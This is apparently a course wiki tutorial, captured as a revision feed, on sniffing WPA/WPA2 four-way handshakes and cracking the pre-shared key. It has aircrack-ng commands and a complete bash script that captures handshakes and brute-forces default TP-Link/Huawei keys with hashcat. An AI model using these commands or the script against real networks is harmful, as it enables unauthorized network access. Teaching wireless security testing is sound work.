=== D-Stike Deauther ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. &amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/spacehuhn/esp8266_deauther&lt;br /&gt;
&lt;br /&gt;
=== Other tools ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.&amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/unixpickle/JamWiFi&lt;br /&gt;
* https://github.com/0x0XDev/JamWiFi&lt;br /&gt;
&lt;br /&gt;
= Used Hardware =&lt;br /&gt;
&lt;br /&gt;
* Notebook, Ubuntu 18.04 bionic amd64, Intel Wireless (Intel AC-7260)&lt;br /&gt;
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)&lt;br /&gt;
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)&lt;br /&gt;
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)&lt;br /&gt;
* HP ZBook Fury 16 G9 Mobile Workstation, Arch Linux, Intel Wireless (Alder Lake-S PCH CNVi WiFi)&lt;br /&gt;
* DSTIKE Deauther Watch V1&lt;br /&gt;
&lt;br /&gt;
= Courses =&lt;br /&gt;
&lt;br /&gt;
* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019 &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)&lt;br /&gt;
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)&lt;br /&gt;
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)&lt;br /&gt;
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/derv82/wifite2 (Accessed 20. January 2021)&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=17580</id>
		<title>WPA/WPA2 PSK deauthentication attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=17580"/>
		<updated>2024-12-18T18:06:37Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* Capture handshake */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Summary = &lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= TL;DR =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;For those using Kali Linux (&amp;gt;2020.1), you may stop here since most major tools used for WiFi cracking are already installed. Moreover, &amp;lt;code&amp;gt;[https://github.com/derv82/wifite2 wifite]&amp;lt;/code&amp;gt; is designed to use all known methods for retrieving the password of a wireless access point. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments &amp;amp; switches! Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.&amp;lt;/p&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Generic: One command to rule them all&lt;br /&gt;
sudo wifite&lt;br /&gt;
&lt;br /&gt;
# Specific: WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture&lt;br /&gt;
sudo wifite --wpa --no-wps --no-pmkid&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Requirements =&lt;br /&gt;
== Mandatory ==&lt;br /&gt;
=== GNU/Linux ===&lt;br /&gt;
- Install aircrack-ng suite: &lt;br /&gt;
* Debian based distributions: &amp;lt;code&amp;gt;sudo apt install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Arch based distributions: &amp;lt;code&amp;gt;sudo pacman -S aicrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== macOS ===&lt;br /&gt;
* Optional: Install &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt; suite: &amp;lt;code&amp;gt;brew install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install tcpdump&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;wireshark&amp;lt;/i&amp;gt; to use &amp;lt;i&amp;gt;mergecap&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install wireshark&amp;lt;/code&amp;gt;&lt;br /&gt;
* Enable &#039;hidden&#039; airport feature: &amp;lt;code&amp;gt;sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Optional ==&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
* Clone GIT repository: &amp;lt;code&amp;gt;git clone https://github.com/hashcat/hashcat.git&amp;lt;/code&amp;gt;&lt;br /&gt;
* Build: &amp;lt;code&amp;gt;cd ./hashcat &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install&amp;lt;/code&amp;gt;&lt;br /&gt;
* Link: &amp;lt;code&amp;gt;sudo ln -s ./hashcat /usr/local/bin/hashcat&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scapy ===&lt;br /&gt;
* Install: &amp;lt;code&amp;gt;pip install scapy&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Background =&lt;br /&gt;
== Problem==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:&amp;lt;/p&amp;gt;&lt;br /&gt;
# Sniff a beacon management frame containing all information about the network &lt;br /&gt;
# Sniff a four-way hanshake containing dynamic payload encryption keys&lt;br /&gt;
# Crack the PSK offline, using data dumps acquired in the previous steps&lt;br /&gt;
&amp;lt;p style=&amp;quot;height: 2px&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Intercepting a four-way handshake requires at least one authenticated device on the target network. &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Solution==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Procedure =&lt;br /&gt;
&lt;br /&gt;
== With aircrack-ng (on GNU/Linux) ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white; margin-left: 30px;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Application&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;aircrack-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;802.11 WEP and WPA/WPA2-PSK key cracking program.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airbase-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Aimed at attacking clients as opposed to the AP itself.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecap-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Decrypt WEP/WPA/WPA2 capture files.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecloak-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Remove WEP CloakingTM from a packet capture file.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdrop-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;A rule based wireless deauthication tool.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;aireplay-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Inject and replay wireless frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airgraph-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Graph wireless networks.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airmon-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Enable and disable monitor mode on wireless interfaces.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airodump-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Capture raw 802.11 frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airolib-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Precompute WPA/WPA2 passphrases.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airserv-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Wireless card TCP/IP server to use wit multiple applications.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airtun-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Virtual tunnel interface creator.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;packetforge-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Create encrypted packets that can be used for injection.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Put your interface in monitor mode ===&lt;br /&gt;
&lt;br /&gt;
* Use airmon-ng to put interface in monitor mode. You can see, that the interface is called wlan0. On different devices or system configurations wlan0 could be a different device name.&lt;br /&gt;
 &lt;br /&gt;
  sudo airmon-ng&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0   iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* First we need to set interface in monitor mode  `iw wlan0 del` and execute the command :&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng&lt;br /&gt;
   Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0mon  iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* Kill all processes which use physical device. Info: If you have a different connection via Ethernet and you are using NetworkManager your Ethernet connection still works.&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng check kill&lt;br /&gt;
   Killing these processes:&lt;br /&gt;
      PID Name&lt;br /&gt;
      895 wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
* Start in monitor mode&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng start wlan0mon 9&lt;br /&gt;
&lt;br /&gt;
Alternatively create a monitoring device by using:&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng start wlan0&lt;br /&gt;
&lt;br /&gt;
If you use the commands `ip a` or the, on GNU/Linux systems old, `ifconfig` command you can see that airmon-ng has generated a new device called &amp;quot;wlan0mon&amp;quot; or on a different setup &amp;lt;YOUR DEVICE NAME&amp;gt;mon. This is the actual monitoring device.&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&lt;br /&gt;
* using wireshark or airodump-ng &lt;br /&gt;
  &lt;br /&gt;
   sudo airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
* You will need:&lt;br /&gt;
** BSSID (MAC address of access point): &amp;lt;bssid&amp;gt;&lt;br /&gt;
** Access point channel: &amp;lt;channel&amp;gt;&lt;br /&gt;
** MAC address of a victim, wireless client using WPA2&lt;br /&gt;
&lt;br /&gt;
=== Capture handshake  ===&lt;br /&gt;
&lt;br /&gt;
* Get handshake or connected station&lt;br /&gt;
&lt;br /&gt;
   sudo airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
Explaination: -c selects the Channel on which the router is sending, --bssid is the MAC Address of the Router -w shows the Mode &amp;quot;PSK&amp;quot; and wlan0mon is the capturing device. &lt;br /&gt;
With this command, airodump-ng records the traffic and saves it into different *.cap files.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack with aircrack-ng  ===&lt;br /&gt;
&lt;br /&gt;
* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password&lt;br /&gt;
   &lt;br /&gt;
   sudo aircrack-ng -w &amp;lt;passwordlist path&amp;gt; -b  &amp;lt;bssd&amp;gt; psk*.cap&lt;br /&gt;
&lt;br /&gt;
=== Reset network configuration ===&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Do not forget to turn off monitor mode and restart network manager&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stop monitor mode&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng stop wlan0mon&lt;br /&gt;
&lt;br /&gt;
* Restart network manager for internet access&lt;br /&gt;
  &lt;br /&gt;
   sudo service network-manager restart&lt;br /&gt;
&lt;br /&gt;
Alternatively on systemd:&lt;br /&gt;
&lt;br /&gt;
   sudo systemctl restart network-manager&lt;br /&gt;
&lt;br /&gt;
== Without aircrack-ng (on macOS) ==&lt;br /&gt;
&lt;br /&gt;
In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using &amp;lt;nowiki&amp;gt;tcpdump&amp;lt;/nowiki&amp;gt; instead of &amp;lt;nowiki&amp;gt;airodump-ng&amp;lt;/nowiki&amp;gt;, as well as the use of &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; (or John the ripper) instead of &amp;lt;nowiki&amp;gt;aircrack-ng&amp;lt;/nowiki&amp;gt; can also be ported to Linux and has advantages over the previously listed version. Only the use of &amp;lt;nowiki&amp;gt;airport&amp;lt;/nowiki&amp;gt; works exclusively on macOS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;crack_WPA2_PSK.sh&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; margin-top: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: In this script, &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. &amp;lt;br&amp;gt;You may need to change the &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; command at the end of the script to fit your usecase.&amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;#!/bin/bash&lt;br /&gt;
if [[ $UID != 0 ]]; then&lt;br /&gt;
    echo &amp;quot;Please run this script with sudo:&amp;quot;&lt;br /&gt;
    echo &amp;quot;sudo $0 $*&amp;quot;&lt;br /&gt;
    exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
hr() {&lt;br /&gt;
  local start=$&#039;\e(0&#039; end=$&#039;\e(B&#039; line=&#039;qqqqqqqqqqqqqqqq&#039;&lt;br /&gt;
  local cols=${COLUMNS:-$(tput cols)}&lt;br /&gt;
  while ((${#line} &amp;lt; cols)); do line+=&amp;quot;$line&amp;quot;; done&lt;br /&gt;
  printf &#039;%s%s%s\n&#039; &amp;quot;$start&amp;quot; &amp;quot;${line:0:cols}&amp;quot; &amp;quot;$end&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner() {&lt;br /&gt;
  hr; printf &amp;quot; \033[0;31m${1}\033[0m\n&amp;quot;; hr&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Perform a wireless broadcast scan&amp;quot;&lt;br /&gt;
echo &#039; # airport -s&#039;&lt;br /&gt;
airport -s&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Enter dynamic configuration&amp;quot;&lt;br /&gt;
echo -n &amp;quot;  CHANNEL=&amp;quot;&lt;br /&gt;
read CHANNEL&lt;br /&gt;
echo -n &amp;quot;  BSSID=&amp;quot;&lt;br /&gt;
read BSSID&lt;br /&gt;
echo -n &amp;quot;  INTERFACE=&amp;quot;&lt;br /&gt;
read INTERFACE&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Disassociate from any network&amp;quot;&lt;br /&gt;
echo &#039; # airport -z&#039;&lt;br /&gt;
airport -z&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Set arbitrary channel on the card&amp;quot;&lt;br /&gt;
echo &#039; # airport -c$CHANNEL&#039;&lt;br /&gt;
airport -c$CHANNEL&lt;br /&gt;
echo &#039; # airport -c&#039;&lt;br /&gt;
airport -c&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture beacon frame&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture four-way handshake&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
# banner &amp;quot;Merge beacon frame and four-way handshake&amp;quot;&lt;br /&gt;
# Note: mergecap is part of wireshark&lt;br /&gt;
echo &#039; # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&#039;&lt;br /&gt;
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Convert .cap file to .hccapx format to be used with hashcat&amp;quot;&lt;br /&gt;
# Note: cap2hccapx is part of hashcat-utils&lt;br /&gt;
echo &#039; # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&lt;br /&gt;
banner &amp;quot;Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)&amp;quot;&lt;br /&gt;
# 00000000 - 99999999&lt;br /&gt;
echo &#039; # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&#039;&lt;br /&gt;
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Clean up&amp;quot;&lt;br /&gt;
echo &#039; # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;airport -h&lt;br /&gt;
 Supported arguments:&lt;br /&gt;
  -c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;]    Set arbitrary channel on the card&lt;br /&gt;
  -z        --disassociate       Disassociate from any network&lt;br /&gt;
  -I        --getinfo            Print current wireless status, e.g. signal info, BSSID, port type etc.&lt;br /&gt;
  -s[&amp;lt;arg&amp;gt;] --scan=[&amp;lt;arg&amp;gt;]       Perform a wireless broadcast scan. &lt;br /&gt;
                                 Will perform a directed scan if the optional &amp;lt;arg&amp;gt; is provided&lt;br /&gt;
  -x        --xml                Print info as XML&lt;br /&gt;
  -P        --psk                Create PSK from specified pass phrase and SSID.&lt;br /&gt;
           The following additional arguments must be specified with this command:&lt;br /&gt;
                                   --password=&amp;lt;arg&amp;gt;  Specify a WPA password&lt;br /&gt;
                                   --ssid=&amp;lt;arg&amp;gt;      Specify SSID when creating a PSK&lt;br /&gt;
  -h        --help               Show this help&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
